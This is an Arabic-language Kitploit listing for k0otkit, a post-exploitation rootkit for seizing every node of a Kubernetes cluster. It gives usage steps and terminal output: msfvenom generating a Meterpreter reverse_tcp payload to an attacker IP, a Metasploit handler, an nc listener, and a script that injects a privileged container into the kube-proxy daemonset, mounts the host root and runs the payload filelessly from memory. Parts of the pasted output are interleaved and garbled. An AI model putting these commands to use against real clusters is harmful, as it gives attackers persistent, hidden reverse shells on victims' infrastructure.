Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
k0otkit — k0otkit هي تقنية ما بعد الاختراق شاملة يمكن استخدامها في اختراقات مجموعات Kubernetes. | Kitploit
أدوات/GitHubGitHub/metarget/k0otkit
أمن الحاوياتتوليد الحمولةالهندسة العكسيةما بعد الاستغلالاختبار الاختراقالقيادة والسيطرةالفريق الأحمرالهروب من الحاوية
GitHubmetarget/k0otkit

k0otkit

k0otkit هي تقنية ما بعد الاختراق شاملة يمكن استخدامها في اختراقات مجموعات Kubernetes.

عرض المستودع
3005181منذ 5 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

k0otkit - التلاعب بـ K8s بأسلوب K8s

مقدمة

k0otkit هي تقنية اختراق لاحقة (post-penetration) عالمية يمكن استخدامها في اختراق مجموعات Kubernetes.

باستخدام k0otkit، يمكنك التلاعب بجميع العقد في مجموعة Kubernetes المستهدفة بطريقة سريعة ومخفية ومستمرة (صدفة عكسية reverse shell).

k0otkit هي مزيج من Kubernetes و rootkit.

المتطلبات الأساسية:

k0otkit هي أداة اختراق لاحقة، لذا يجب أولاً السيطرة على مجموعة، والتمكن بطريقة ما من الهروب من الحاوية والحصول على صلاحية الجذر root للعقدة الرئيسية (بشكل دقيق، يجب الحصول على صلاحية المشرف admin لمجموعة Kubernetes المستهدفة).

السيناريو:

  1. بعد اختراق الويب، تحصل على صدفة shell للهدف.
  2. إذا لزم الأمر، تنجح في رفع الصلاحية وتنجح في ذلك.
  3. تجد أن البيئة المستهدفة هي حاوية (Pod) في مجموعة Kubernetes.
  4. تنجح في الهروب من الحاوية وتنجح في ذلك (باستخدام CVE-2016-5195، CVE-2019-5736، docker.sock أو تقنيات أخرى).
  5. تحصل على صدفة root للعقدة الرئيسية وتتمكن من توجيه المجموعة باستخدام kubectl على العقدة الرئيسية كـ admin.
  6. الآن تريد التحكم بجميع العقد في المجموعة بأسرع ما يمكن. هنا يأتي دور k0otkit!

k0otkit مفصلة في k0otkit: اختراق K8s بأسلوب K8s.

الاستخدام

تأكد من حصولك على صدفة root على العقدة الرئيسية لمجموعة Kubernetes المستهدفة. (يمكنك أيضًا استخدام k0otkit إذا كان لديك صلاحية المشرف admin لمجموعة Kubernetes المستهدفة، على الرغم من أنك قد تحتاج إلى تعديل أمر kubectl في k0otkit_template.sh لاستخدام الرمز المميز أو الشهادة.)

تأكد من تثبيت Metasploit على جهاز المهاجم الخاص بك (يجب أن يكون msfvenom و msfconsole متاحين).

نشر k0otkit

استنساخ هذا المستودع:

git clone https://github.com/brant-ruan/k0otkit
cd k0otkit/
chmod +x ./*.sh

استبدل عنوان IP ومنفذ المهاجم في pre_exp.sh بعنوان IP ومنفذك الخاصين:

ATTACKER_IP=192.168.1.107
ATTACKER_PORT=4444

توليد k0otkit:

./pre_exp.sh

سيتم توليد k0otkit.sh. ثم قم بتشغيل معالج الصدفة العكسية:

./handle_multi_reverse_shell.sh

بمجرد أن يصبح المعالج جاهزًا، انسخ محتوى k0otkit.sh والصقه في الصدفة الخاصة بك على العقدة الرئيسية لمجموعة Kubernetes المستهدفة، ثم اضغط <Enter> لتنفيذه.

انتظر لحظة واستمتع بالصدف العكسية من جميع العقد :)

ملاحظة: لا يوجد حد لعدد مجموعات Kubernetes التي تتلاعب بها باستخدام k0otkit.

التفاعل مع الصدف

بعد النشر الناجح لـ k0otkit، يمكنك التفاعل مع أي صدفة عكسية كما تريد:

# within msfconsole
sessions 1

الميزات

  • استخدام موارد وميزات K8s (اختراق K8s بأسلوب K8s)
  • حقن الحاويات الديناميكي
  • تشفير الاتصال (بفضل Meterpreter)
  • بدون ملفات

مثال

توليد k0otkit:

kali@kali:~/k0otkit$ ./pre_exp.sh
+ ATTACKER_IP=192.168.1.107
+ ATTACKER_PORT=4444
+ TEMP_MRT=mrt
+ msfvenom -p linux/x86/meterpreter/reverse_tcp LPORT=4444 LHOST=192.168.1.107 -f elf -o mrt
++ xxd -p mrt
++ tr -d '\n'
++ base64 -w 0
+ PAYLOAD=N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhODEzZjM2ODAyMDAxMTVjODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjI2YWIwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgw
+ sed s/PAYLOAD_VALUE_BASE64/N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhODEzZjM2ODAyMDAxMTVjODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjI2YWIwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgw/g k0otkit_template.sh

تشغيل معالج الصدفة العكسية:

kali@kali:~/k0otkit$ ./handle_multi_reverse_shell.sh
payload => linux/x86/meterpreter/reverse_tcp
LHOST => 0.0.0.0
LPORT => 4444
ExitOnSession => false
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 0.0.0.0:4444
msf5 exploit(multi/handler) >

انسخ محتوى k0otkit.sh إلى الصدفة الخاصة بك على العقدة الرئيسية لمجموعة Kubernetes المستهدفة واضغط <Enter>:

kali@kali:~$ nc -lvnp 10000
listening on [any] 10000 ...
connect to [192.168.1.107] from (UNKNOWN) [192.168.1.106] 48750
root@victim-2:~# volume_name=cache

mount_path=/var/kube-proxy-cache

ctr_name=kube-proxy-cache

binary_file=/usr/local/bin/kube-proxy-cache

payload_name=cache

secret_name=proxy-cache

secret_data_name=content

ctr_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ containers:/{print NR}')

volume_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ volumes:/{print NR}')

image=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | grep " image:" | awk '{print $2}')

# create payload secret
cat << EOF | kubectl --kubeconfig /root/.kube/config apply -f -
apiVersion: v1
kind: Secret
metadata:
  name: $secret_name
  namespace:volume_name=cache
root@victim-2:~#
root@victim-2:~# mount_path=/var/kube-p kube-system
type: Opaque
data:
  $secret_data_name: N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhODEzZjM2ODAyMDAxMTVjODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjI2YWIwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgw
EOF

# assume that ctr_line_num < volume_line_num
# otherwise you should switch the two sed commands below

# inject malicious container into kube-proxy pod
kubecroxy-cache
root@victim-2:~#
root@victim-2:~# ctr_name=kube-proxy-cache
root@victim-2:~#
root@victim-2:~# binary_file=/usr/local/bin/kube-proxy-cache
root@victim-2:~#
root@victim-2:~# payload_name=cache
root@victim-2:~#
root@victim-2:~# secret_name=proxy-cache
root@victim-2:~#
root@victim-2:~# secret_data_name=content
root@victim-2:~#
root@victim-2:~# ctr_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-tl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml \
  | sed "$volume_line_num a\ \ \ \ \ \ - name: $volume_name\n        hostPath:\n          path: /\n          type: Directory\n" \
  | sed "$ctr_line_num a\ \ \ \ \ \ - name: $ctr_name\n        image: $image\n        imagePullPolicy: IfNotPresent\n        command: [\"sh\"]\n        args: [\"-c\", \"echo \$$payload_name | perl -e 'my \$n=qq(); my \$fd=syscall(319, \$n, 1); open(\$FH, qq(>&=).\$fd); select((select(\$FH), \$|=1)[0]); print \$FH pack q/H*/, <STDIN>; my \$pid = fork(); if (0 != \$pid) { wait }; if (0 == \$pid){system(qq(/proc/\$\$\$\$/fd/\$fd))}'\"]\n        env:\n          - name: $payload_name\n            valueFrom:\n              secretKeyRef:\n          pr      name: $secret_name\n                key: $secret_data_name\n        securityContext:\n          privileged: true\n        volumeMounts:\n        - mountPath: $mount_path\n          name: $volume_name" \
containers:/{print NR}')oxy -o yaml | awk '/
تنزيل الأداة